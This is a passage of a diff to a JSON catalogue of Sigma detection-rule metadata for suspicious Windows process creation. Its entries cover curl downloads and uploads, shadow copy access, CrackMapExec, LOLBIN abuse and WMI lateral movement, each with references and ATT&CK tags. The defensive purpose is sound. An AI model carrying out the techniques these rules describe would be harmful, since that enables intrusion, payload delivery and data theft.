"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cipher.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ], + "creation_date": "2021/12/26", + "filename": "proc_creation_win_susp_cipher.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious process that use escape characters", + "uuid": "f0cdd048-82dc-4f7a-8a7a-b87a52b6d0fd", + "value": "Suspicious Commandline Escape", + "meta": { + "refs": [ + "https://twitter.com/vysecurity/status/885545634958385153", + "https://twitter.com/Hexacorn/status/885553465417756673", + "https://twitter.com/Hexacorn/status/885570278637678592", + "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html", + "http://www.windowsinspired.com/understanding-the-command-line-string-and-arguments-received-by-a-windows-program/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cli_escape.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140" + ], + "creation_date": "2018/12/11", + "filename": "proc_creation_win_susp_cli_escape.yml", + "author": "juju4", + "level": "low", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of a CLSID folder name located in a suspicious location from the commandline as seen being used in IcedID", + "uuid": "90b63c33-2b97-4631-a011-ceb0f47b77c3", + "value": "Suspicious CLSID Folder Name In Suspicious Locations", + "meta": { + "refs": [ + "https://twitter.com/Kostastsale/status/1565257924204986369", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_clsid_foldername.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2022/09/01", + "filename": "proc_creation_win_susp_clsid_foldername.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Some FP is expected with some installers" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious command execution (cmd) via Windows Management Instrumentation (WMI) on a remote host. This could be indicative of adversary lateral movement.", + "uuid": "e31f89f7-36fb-4697-8ab6-48823708353b", + "value": "Suspicious Cmd Execution via WMI", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/suspicious-cmd-execution-via-wmi.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cmd_exectution_via_wmi.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2022/09/27", + "filename": "proc_creation_win_susp_cmd_exectution_via_wmi.yml", + "author": "Tim Rauch", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious command line execution that includes an URL and AppData string in the command line parameters as used by several droppers (js/vbs > powershell)", + "uuid": "1ac8666b-046f-4201-8aba-1951aaec03a3", + "value": "Command Line Execution with Suspicious URL and AppData Strings", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/3a1f01206684410dbe8f1900bbeaaa543adfcd07368ba646b499fa5274b9edf6?environmentId=100", + "https://www.hybrid-analysis.com/sample/f16c729aad5c74f19784a24257236a8bbe27f7cdc4a89806031ec7f1bebbd475?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cmd_http_appdata.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003", + "attack.t1059.001", + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_cmd_http_appdata.yml", + "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", + "level": "medium", + "falsepositive": [ + "High" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a copy execution that targets a shadow copy (sometimes used to copy registry hives that are in use)", + "uuid": "c73124a7-3e89-44a3-bdc1-25fe4df754b1", + "value": "Copy from Volume Shadow Copy", + "meta": { + "refs": [ + "https://twitter.com/vxunderground/status/1423336151860002816?s=20", + "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", + "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cmd_shadowcopy_access.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2021/08/09", + "filename": "proc_creation_win_susp_cmd_shadowcopy_access.yml", + "author": "Max Altgelt, Tobias Michalski", + "level": "medium", + "falsepositive": [ + "Some rare backup scenarios" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects use of chcp to look up the system locale value as part of host discovery", + "uuid": "7090adee-82e2-4269-bd59-80691e7c6338", + "value": "CHCP CodePage Locale Lookup", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/chcp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_codepage_lookup.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1614.001" + ], + "creation_date": "2022/02/21", + "filename": "proc_creation_win_susp_codepage_lookup.yml", + "author": "_pete_0, TheDFIRReport", + "level": "high", + "falsepositive": [ + "During Anaconda update the 'conda.exe' process will eventually launch the command described in the detection section" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a code page switch in command line or batch scripts to a rare language", + "uuid": "c7942406-33dd-4377-a564-0f62db0593a3", + "value": "Suspicious Code Page Switch", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/intl/code-page-identifiers", + "https://twitter.com/cglyer/status/1183756892952248325", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_codepage_switch.yml" + ], + "tags": [ + "attack.t1036", + "attack.defense_evasion" + ], + "creation_date": "2019/10/14", + "filename": "proc_creation_win_susp_codepage_switch.yml", + "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", + "level": "medium", + "falsepositive": [ + "Administrative activity (adjust code pages according to your organisation's region)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious Unicode characters in the command line, which could be a sign of obfuscation or defense evasion", + "uuid": "2c0d2d7b-30d6-4d14-9751-7b9113042ab9", + "value": "Suspicious Characters in CommandLine", + "meta": { + "refs": [ + "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_commandline_chars.yml" + ], + "tags": "No established tags", + "creation_date": "2022/04/27", + "filename": "proc_creation_win_susp_commandline_chars.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious command line arguments of common data compression tools", + "uuid": "27a72a60-7e5e-47b1-9d17-909c9abafdcd", + "value": "Suspicious Compression Tool Parameters", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1184067445612535811", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_compression_params.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ], + "creation_date": "2019/10/15", + "filename": "proc_creation_win_susp_compression_params.yml", + "author": "Florian Roth, Samir Bousseaden", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the conhost execution as parent process. Can be used to evaded defense mechanism.", + "uuid": "7dc2dedd-7603-461a-bc13-15803d132355", + "value": "Conhost Parent Process Executions", + "meta": { + "refs": [ + "http://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_conhost.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2020/10/25", + "filename": "proc_creation_win_susp_conhost.yml", + "author": "omkar72", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "ForceV1 asks for information directly from the kernel space. Conhost connects to the console application", + "uuid": "3037d961-21e9-4732-b27a-637bcc7bf539", + "value": "Suspicious Conhost Legacy Option", + "meta": { + "refs": [ + "https://cybercryptosec.medium.com/covid-19-cyber-infection-c615ead7c29", + "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_conhost_option.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2022/04/04", + "filename": "proc_creation_win_susp_conhost_option.yml", + "author": "frack113", + "level": "informational", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious process pattern found in CVE-2021-40444 exploitation", + "uuid": "894397c6-da03-425c-a589-3d09e7d1f750", + "value": "CVE-2021-40444 Process Pattern", + "meta": { + "refs": [ + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444", + "https://twitter.com/neonprimetime/status/1435584010202255375", + "https://www.joesandbox.com/analysis/476188/1/iochtml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_control_cve_2021_40444.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2021/09/08", + "filename": "proc_creation_win_susp_control_cve_2021_40444.yml", + "author": "@neonprimetime, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious Rundll32 execution from control.exe as used by Equation Group and Exploit Kits", + "uuid": "d7eb979b-c2b5-4a6f-a3a7-c87ce6763819", + "value": "Suspicious Control Panel DLL Load", + "meta": { + "refs": [ + "https://twitter.com/rikvduijn/status/853251879320662017", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_control_dll_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2017/04/15", + "filename": "proc_creation_win_susp_control_dll_load.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious copy command to or from an Admin share or remote", + "uuid": "855bc8b5-2ae8-402e-a9ed-b889e6df1900", + "value": "Copy from Admin Share", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1211636381086339073", + "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", + "https://www.elastic.co/guide/en/security/current/remote-file-copy-to-a-hidden-share.html", + "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_lateral_movement.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.collection", + "attack.exfiltration", + "attack.t1039", + "attack.t1048", + "attack.t1021.002" + ], + "creation_date": "2019/12/30", + "filename": "proc_creation_win_susp_copy_lateral_movement.yml", + "author": "Florian Roth, oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Administrative scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious copy operation that tries to copy a program from a system (System32 or SysWOW64) directory to another on disk.\nOften used to move LOLBINs such as 'certutil' or 'desktopimgdownldr' to a different location with a different name in order to bypass detections based on locations\n", + "uuid": "fff9d2b7-e11c-4a69-93d3-40ef66189767", + "value": "Suspicious Copy From or To System32", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/8da5b75b6380a41eee3a399c43dfe0d99eeefaa1fd21027a07b1ecaa4cd96fdd?environmentId=120", + "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_system32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003" + ], + "creation_date": "2020/07/03", + "filename": "proc_creation_win_susp_copy_system32.yml", + "author": "Florian Roth, Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (update)", + "level": "medium", + "falsepositive": [ + "Depend on scripts and administrative tools used in the monitored environment (For example an admin scripts like https://www.itexperience.net/sccm-batch-files-and-32-bits-processes-on-64-bits-os/)", + "When cmd.exe and xcopy.exe are called directly", + "When the command contains the keywords but not in the correct order" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious command lines used in Covenant luanchers", + "uuid": "c260b6db-48ba-4b4a-a76f-2f67644e99d2", + "value": "Covenant Launcher Indicators", + "meta": { + "refs": [ + "https://posts.specterops.io/covenant-v0-5-eee0507b85ba", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_covenant.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1059.001", + "attack.t1564.003" + ], + "creation_date": "2020/06/04", + "filename": "proc_creation_win_susp_covenant.yml", + "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect various execution methods of the CrackMapExec pentesting framework", + "uuid": "058f4380-962d-40a5-afce-50207d36d7e2", + "value": "CrackMapExec Command Execution", + "meta": { + "refs": [ + "https://github.com/byt3bl33d3r/CrackMapExec", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.t1053", + "attack.t1059.003", + "attack.t1059.001", + "attack.s0106" + ], + "creation_date": "2020/05/22", + "filename": "proc_creation_win_susp_crackmapexec_execution.yml", + "author": "Thomas Patzke", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.", + "uuid": "42a993dd-bb3e-48c8-b372-4d6684c4106c", + "value": "CrackMapExec Command Line Flags", + "meta": { + "refs": [ + "https://mpgn.gitbook.io/crackmapexec/smb-protocol/authentication/checking-credentials-local", + "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", + "https://www.infosecmatter.com/crackmapexec-module-library/?cmem=mssql-mimikatz", + "https://www.infosecmatter.com/crackmapexec-module-library/?cmem=smb-pe_inject", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_flags.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/25", + "filename": "proc_creation_win_susp_crackmapexec_flags.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The CrachMapExec pentesting framework implements a PowerShell obfuscation with some static strings detected by this rule.", + "uuid": "6f8b3439-a203-45dc-a88b-abf57ea15ccf", + "value": "CrackMapExec PowerShell Obfuscation", + "meta": { + "refs": [ + "https://github.com/byt3bl33d3r/CrackMapExec", + "https://github.com/byt3bl33d3r/CrackMapExec/blob/0a49f75347b625e81ee6aa8c33d3970b5515ea9e/cme/helpers/powershell.py#L242", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_powershell_obfuscation.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1027.005" + ], + "creation_date": "2020/05/22", + "filename": "proc_creation_win_susp_crackmapexec_powershell_obfuscation.yml", + "author": "Thomas Patzke", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious parent of csc.exe, which could by a sign of payload delivery", + "uuid": "b730a276-6b63-41b8-bcf8-55930c8fc6ee", + "value": "Suspicious Parent of Csc.exe", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1094924091256176641", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csc.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005", + "attack.t1059.007", + "attack.defense_evasion", + "attack.t1218.005", + "attack.t1027.004" + ], + "creation_date": "2019/02/11", + "filename": "proc_creation_win_susp_csc.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse Visual Basic (VB) for execution", + "uuid": "23250293-eed5-4c39-b57a-841c8933a57d", + "value": "Cscript Visual Basic Script Execution", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.005/T1059.005.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cscript_vbs.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005" + ], + "creation_date": "2022/01/02", + "filename": "proc_creation_win_susp_cscript_vbs.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious execution of csc.exe, which uses a source in a suspicious folder (e.g. AppData)", + "uuid": "dcaa3f04-70c3-427a-80b4-b870d73c94c4", + "value": "Suspicious Csc.exe Source File Folder", + "meta": { + "refs": [ + "https://securityboulevard.com/2019/08/agent-tesla-evading-edr-by-removing-api-hooks/", + "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", + "https://app.any.run/tasks/c6993447-d1d8-414e-b856-675325e5aa09/", + "https://twitter.com/gN3mes1s/status/1206874118282448897", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csc_folder.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.004" + ], + "creation_date": "2019/08/24", + "filename": "proc_creation_win_susp_csc_folder.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate software from program files - https://twitter.com/gN3mes1s/status/1206874118282448897", + "Legitimate Microsoft software - https://twitter.com/gabriele_pippi/status/1206907900268072962" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of the lesser known remote execution tool named CsExec (a PsExec alternative)", + "uuid": "d08a2711-ee8b-4323-bdec-b7d85e892b31", + "value": "CsExec Remote Execution Tool Usage", + "meta": { + "refs": [ + "https://github.com/malcomvetter/CSExec", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csexec.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587.001", + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2022/08/22", + "filename": "proc_creation_win_susp_csexec.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Csi.exe is a signed binary from Microsoft that comes with Visual Studio and provides C# interactive capabilities. It can be used to run C# code from a file passed as a parameter in command line. Early version of this utility provided with Microsoft \u201cRoslyn\u201d Community Technology Preview was named 'rcsi.exe'", + "uuid": "40b95d31-1afc-469e-8d34-9a3a667d058e", + "value": "Suspicious Csi.exe Usage", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Rcsi/", + "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/", + "https://twitter.com/Z3Jpa29z/status/1317545798981324801", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csi.yml" + ], + "tags": [ + "attack.execution", + "attack.t1072", + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2020/10/17", + "filename": "proc_creation_win_susp_csi.yml", + "author": "Konstantin Grishchenko, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate usage by software developers" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious curl process start on Windows and outputs the requested document to a local file", + "uuid": "e218595b-bbe7-4ee5-8a96-f32a24ad3468", + "value": "Suspicious Curl Usage on Windows", + "meta": { + "refs": [ + "https://twitter.com/max_mal_/status/1542461200797163522", + "https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464", + "https://github.com/pr0xylife/Qakbot/blob/4f0795d79dabee5bc9dd69f17a626b48852e7869/Qakbot_AA_23.06.2022.txt", + "https://www.volexity.com/blog/2022/07/28/sharptongue-deploys-clever-mail-stealing-browser-extension-sharpext/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2020/07/03", + "filename": "proc_creation_win_susp_curl_download.yml", + "author": "Florian Roth, Nasreddine Bencherchali (updated)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious curl process start the adds a file to a web request", + "uuid": "00bca14a-df4e-4649-9054-3f2aa676bc04", + "value": "Suspicious Curl File Upload", + "meta": { + "refs": [ + "https://twitter.com/d1r4c/status/1279042657508081664", + "https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file", + "https://curl.se/docs/manpage.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_fileupload.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567", + "attack.t1105" + ], + "creation_date": "2020/07/03", + "filename": "proc_creation_win_susp_curl_fileupload.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Scripts created by developers and admins" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries can use curl to download payloads remotely and execute them. Curl is included by default in Windows 10 build 17063 and later.", + "uuid": "21dd6d38-2b18-4453-9404-a0fe4a0cc288", + "value": "Curl Start Combination", + "meta": { + "refs": [ + "https://medium.com/@reegun/curl-exe-is-the-new-rundll32-exe-lolbin-3f79c5f35983", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_start_combo.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218", + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2020/01/13", + "filename": "proc_creation_win_susp_curl_start_combo.yml", + "author": "Sreeman, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Administrative scripts (installers)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious curl process start on Windows with set useragent options", + "uuid": "3286d37a-00fd-41c2-a624-a672dcd34e60", + "value": "Suspicious Curl Change User Agents", + "meta": { + "refs": [ + "https://curl.se/docs/manpage.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1071.001/T1071.001.md#atomic-test-2---malicious-user-agents---cmd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_useragent.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2022/01/23", + "filename": "proc_creation_win_susp_curl_useragent.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Scripts created by developers and admins", + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious process injection using ZOHO's dctask64.exe", + "uuid": "6345b048-8441-43a7-9bed-541133633d7a", + "value": "ZOHO Dctask64 Process Injection", + "meta": { + "refs": [ + "https://twitter.com/gN3mes1s/status/1222088214581825540", + "https://twitter.com/gN3mes1s/status/1222095963789111296", + "https://twitter.com/gN3mes1s/status/1222095371175911424", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dctask64_proc_inject.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055.001" + ], + "creation_date": "2020/01/28", + "filename": "proc_creation_win_susp_dctask64_proc_inject.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown yet" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious command line to remove and 'exe' or 'dll'", + "uuid": "204b17ae-4007-471b-917b-b917b315c5db", + "value": "Suspicious Del in CommandLine", + "meta": { + "refs": [ + "https://www.joesandbox.com/analysis/509330/0/html#1044F3BDBE3BB6F734E357235F4D5898582D", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_del.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ], + "creation_date": "2021/12/02", + "filename": "proc_creation_win_susp_del.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious Microsoft desktopimgdownldr execution with parameters used to download files from the Internet", + "uuid": "bb58aa4a-b80b-415a-a2c0-2f65a4c81009", + "value": "Suspicious Desktopimgdownldr Command", + "meta": { + "refs": [ + "https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/", + "https://twitter.com/SBousseaden/status/1278977301745741825", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_desktopimgdownldr.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2020/07/03", + "filename": "proc_creation_win_susp_desktopimgdownldr.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a certain command line flag combination used by devinit.exe lolbin to download arbitrary MSI packages on a Windows system", + "uuid": "90d50722-0483-4065-8e35-57efaadd354d", + "value": "DevInit Lolbin Download", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1460815932402679809", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_devinit_lolbin.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/01/11", + "filename": "proc_creation_win_susp_devinit_lolbin.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The Devtoolslauncher.exe executes other binary", + "uuid": "cc268ac1-42d9-40fd-9ed3-8c4e1a5b87e6", + "value": "Devtoolslauncher.exe Executes Specified Binary", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devtoolslauncher/", + "https://twitter.com/_felamos/status/1179811992841797632", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_devtoolslauncher.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2019/10/12", + "filename": "proc_creation_win_susp_devtoolslauncher.yml", + "author": "Beyu Denis, oscd.community (rule), @_felamos (idea)", + "level": "high", + "falsepositive": [ + "Legitimate use of devtoolslauncher.exe by legitimate user" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the \"dir\" command that's part of windows batch/cmd to collect information about directories", + "uuid": "7c9340a9-e2ee-4e43-94c5-c54ebbea1006", + "value": "Suspicious DIR Execution", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dir.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1217" + ], + "creation_date": "2021/12/13", + "filename": "proc_creation_win_susp_dir.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects direct modification of autostart extensibility point (ASEP) in registry using reg.exe.", + "uuid": "24357373-078f-44ed-9ac4-6d334a668a11", + "value": "Direct Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_direct_asep_reg_keys_modification.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "proc_creation_win_susp_direct_asep_reg_keys_modification.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically 